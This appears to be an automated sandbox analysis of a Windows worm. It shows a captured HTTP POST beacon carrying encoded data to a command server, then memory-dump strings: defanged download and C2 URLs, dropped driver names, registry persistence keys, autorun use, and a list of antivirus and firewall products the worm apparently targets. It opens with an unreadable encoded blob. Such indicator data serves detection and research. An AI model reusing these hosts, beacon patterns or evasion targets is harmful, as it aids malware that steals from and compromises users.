4y2L/OO7NNC1k YYtoC89HXP9Oy2OtTrqIca3az17GDFrq/2BJmAn5kU9J2goynO Nu7Se/s2q5omvW3pSO gMTfPdXyo Mt2KzIznCogOv/dNHxo d9lsC2xgfc6pm0IJK/9LwPztbR/X3BpfDsbvD427odsI35qniBsv wKau/wJE9kKOx9S7fraSVe6zOovQtn/j3pHuakunRAczrsvk3xbOypFuDgpHzK966560xnNHknyb34rO/ep745 xqlJX26Vq0jInBNN 748Fpjs2/5XPS8dygbLLsoMABz essD 7hpLjBMv8z6t9i j07mfL/OGyBrDsq6Fuhvzp9C2/vMDea5y0g Mt2KyklXO4zr29I9vy/aZ9oNGnzAXczaewL4z47OAA18nY/X3Oueb4ZMz9jekNtKLiqjfI9b23K7Pun8ltjLWorjqPoOKNJ/SS/bN1xO3q5yLM Jj2JJui7aUtk7L0vEPow864MdOv8OFq0urzjzunofKqaJmwiLkmrrjKzz3V8qPjLdisyM5wqIDr/3TR8aPnfZbAtsYH3OqZtCCSv/S8D87W0f19waXw7G7w Nu6HbCN ap4gbL/sCmrv8CRPZCjsfUu362klXuszqL0LZ/496R7mpLp0QHM67L5N8WzsqRbgouR8yveuuetMZzR5IA89 Kzv3qe OfsapS11tRxjbWn7CDButrzTrnQuP9mzr j526P3KbAPdjjqvd2ia 66k2Z38WhOsS 5 td3/XatknvoOSjd8ayo7k6pKnr3GuQprDBKciq7Y0nq8O94mSRv a2fJnfocFRg iuuT C9vTjGdrZyfNl07j36naS4o26D/f0qP03yOS8pi3l9of1VKqH965j3ajyxz/3gILoctTz 6BqgNG/1i/lz7qhI7WvuPVDl5jLsDPSr8zuZtu7lb0euaK97X6S4KC1PKKo89xzjLX3uC/YpeqDP6vNo/Jk8/z7rG6L87vAENKs9bMti6mzqkPSydmmMNWuoLVt3/Xctkf3q mueJ6y/6I6sqnYkWTbubGge5T6qo1ptNK0szuf1cSWT8yc8dUSzebt7260o6XvD8/fz78 y7ne01vM9syXHri s M5nPGpoy2JrcjYPcO oO4tgevj122owaX0Zev847B9zIq90B/Vou2zI5W5s8gAz9PLtBzPr HkKYT/zr8YsOKzpmiO56qkLOX2w9xzirX5oCTVqOXbP/fWo RkwLH053GKkumcR5Wsu6w8gvjspCnw6erzc4W64/tjnKONngK2vP68dIzkmYofrqLB0miKjInBNN 748Fpm8ej4mjS89OZTYDZvdYH2OKjiRCmtKLvLdTd2rQtheag WrS7MqdCrirs/V1n/yp mqitNXYfI21sdQgwbzjjSej1739LZ/74Ld7i/6y0RrP64y9KYSx9LwH2tbOtHOFo/HrfNHry/FRs6/9vH7GsqCuKaS4h4dri6Ww/23W6 /LP/eb6b0jyeT/oDrUkpvuIO6s4/c8hq6 pFuZycSiK9Cv4 RX
<<< skipped >>>
POST /mg?alpha=LVIHL082SGYtNW9qKAVAEhtFPEpzUTdzX0MOZA== HTTP/1.1
Content-Length: 246
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHttpClient
Host: install.appenable.info
Connection: Keep-Alive
alpha=LVIHL08KCWoZSy4sKAVAEhtFPEpzQQMTD1ZNRS0mdVIJZR9ubVBUUClmaFsXcUMfDDtcI3QpCDBTSwJdXgVmKzoxJjRFTgoLZCJvRwEoFUBvTgF EztXUk5PWzwFcFMrA1skSnguB0QhLxAbKR5xRAJ6My0yMG4AaBdALgglB3slOTBaRzpDdH8bImhbUXZXEClDAmhGZQRfUlkKeghkUzcCWztWeS8FRSknFAosf3FpEVA=
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Tue, 10 May 2016 01:56:46 GMT
Content-Length: 0
Map
The Worm connects to the servers at the folowing location(s):
Strings from Dumps
Explorer.EXE_1572_rwx_01E20000_00002000:
SHELL32.DLL
SHELL32.DLL
ShellExecuteA
ShellExecuteA
KERNEL32.DLL
KERNEL32.DLL
.rsrc
.rsrc
.text
.text
Explorer.EXE_1572_rwx_01E30000_00001000:
|explorer.exeM_1572_
|explorer.exeM_1572_
Explorer.EXE_1572_rwx_02100000_0108E000:
c:\windows
c:\windows
hXXp://coliseu.net/bottom.gif
hXXp://coliseu.net/bottom.gif
hXXp://radioexpertfm.com/bottom.gif
hXXp://radioexpertfm.com/bottom.gif
hXXp://VVV.nangthongbayresort.de/bottom.gif
hXXp://VVV.nangthongbayresort.de/bottom.gif
hXXp://VVV.artiplexi.com/bottom.gif
hXXp://VVV.artiplexi.com/bottom.gif
hXXp://empresas-cm.com/image.gif
hXXp://empresas-cm.com/image.gif
hXXp://vadivudaiammantransports.com/images/bottom.gif
hXXp://vadivudaiammantransports.com/images/bottom.gif
hXXp://tattooinindia.com/image.gif
hXXp://tattooinindia.com/image.gif
hXXp://cgaclagosarea.org/img/bottom.gif
hXXp://cgaclagosarea.org/img/bottom.gif
%System%\drivers\nkjkq.sys
%System%\drivers\nkjkq.sys
Y.pD;
Y.pD;
4670152549
4670152549
SHELL32.DLL
SHELL32.DLL
ShellExecuteA
ShellExecuteA
KERNEL32.DLL
KERNEL32.DLL
.rsrc
.rsrc
.text
.text
hXXp://89.119.67.154/testo5/
hXXp://89.119.67.154/testo5/
hXXp://kukutrustnet777.info/home.gif
hXXp://kukutrustnet777.info/home.gif
hXXp://kukutrustnet888.info/home.gif
hXXp://kukutrustnet888.info/home.gif
hXXp://kukutrustnet987.info/home.gif
hXXp://kukutrustnet987.info/home.gif
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
h.rdata
h.rdata
H.data
H.data
.reloc
.reloc
ntoskrnl.exe
ntoskrnl.exe
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50728)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50728)
Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
hXXp://VVV.klkjwre9fqwieluoi.info/
hXXp://VVV.klkjwre9fqwieluoi.info/
hXXp://kukutrustnet777888.info/
hXXp://kukutrustnet777888.info/
Software\Microsoft\Windows\CurrentVersion\policies\system
Software\Microsoft\Windows\CurrentVersion\policies\system
Software\Microsoft\Windows\ShellNoRoam\MUICache
Software\Microsoft\Windows\ShellNoRoam\MUICache
%s:*:Enabled:ipsec
%s:*:Enabled:ipsec
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
GdiPlus.dll
GdiPlus.dll
hXXp://
hXXp://
ipfltdrv.sys
ipfltdrv.sys
VVV.microsoft.com
VVV.microsoft.com
?%x=%d
?%x=%d
&%x=%d
&%x=%d
SYSTEM.INI
SYSTEM.INI
USER32.DLL
USER32.DLL
.%c%s
.%c%s
\\.\amsint32
\\.\amsint32
NTDLL.DLL
NTDLL.DLL
autorun.inf
autorun.inf
ADVAPI32.DLL
ADVAPI32.DLL
win%s.exe
win%s.exe
%s.exe
%s.exe
WININET.DLL
WININET.DLL
InternetOpenUrlA
InternetOpenUrlA
avast! Web Scanner
avast! Web Scanner
Avira AntiVir Premium WebGuard
Avira AntiVir Premium WebGuard
cmdGuard
cmdGuard
cmdAgent
cmdAgent
Eset HTTP Server
Eset HTTP Server
ProtoPort Firewall service
ProtoPort Firewall service
SpIDer FS Monitor for Windows NT
SpIDer FS Monitor for Windows NT
Symantec Password Validation
Symantec Password Validation
WebrootDesktopFirewallDataService
WebrootDesktopFirewallDataService
WebrootFirewall
WebrootFirewall
%d%d.tmp
%d%d.tmp
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
%s\%s
%s\%s
%s\Software\Microsoft\Windows\CurrentVersion\Ext\Stats
%s\Software\Microsoft\Windows\CurrentVersion\Ext\Stats
Software\Microsoft\Windows\CurrentVersion\Ext\Stats
Software\Microsoft\Windows\CurrentVersion\Ext\Stats
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Explorer.exe
Explorer.exe
A2CMD.
A2CMD.
ASHWEBSV.
ASHWEBSV.
AVGCC.AVGCHSVX.
AVGCC.AVGCHSVX.
DRWEB
DRWEB
DWEBLLIO
DWEBLLIO
DWEBIO
DWEBIO
FSGUIEXE.
FSGUIEXE.
MCVSSHLD.
MCVSSHLD.
NPFMSG.
NPFMSG.
SYMSPORT.
SYMSPORT.
WEBSCANX.
WEBSCANX.
.adata
.adata
M_%d_
M_%d_
%c%d_%d
%c%d_%d
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
GetProcessHeap
GetProcessHeap
GetWindowsDirectoryA
GetWindowsDirectoryA
RegEnumKeyExA
RegEnumKeyExA
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyA
RegCreateKeyA
RegCloseKey
RegCloseKey
SHFileOperationA
SHFileOperationA
&3&3&3&389
&3&3&3&389
.rdata
.rdata
.data
.data
Bkrnl.exe?
Bkrnl.exe?
= =$=(=,=
= =$=(=,=
322%2`.50728)
322%2`.50728)
.klkjw:9fqwi
.klkjw:9fqwi
FamXf39.sys
FamXf39.sys
.pBTa8
.pBTa8
%s:*:
%s:*:
Bg.laXV
Bg.laXV
&?%x=
&?%x=
GUrlA'
GUrlA'
Web%w|nc
Web%w|nc
HTTP)
HTTP)
2GUARDCMD.
2GUARDCMD.
.ENHCDM
.ENHCDM
PL/KPCKwWEB
PL/KPCKwWEB
MM.PFW.
MM.PFW.
.bssf
.bssf
J:CRT
J:CRT
ADVAPI32.dll
ADVAPI32.dll
MSVCRT.dll
MSVCRT.dll
SHELL32.dll
SHELL32.dll
WS2_32.dll
WS2_32.dll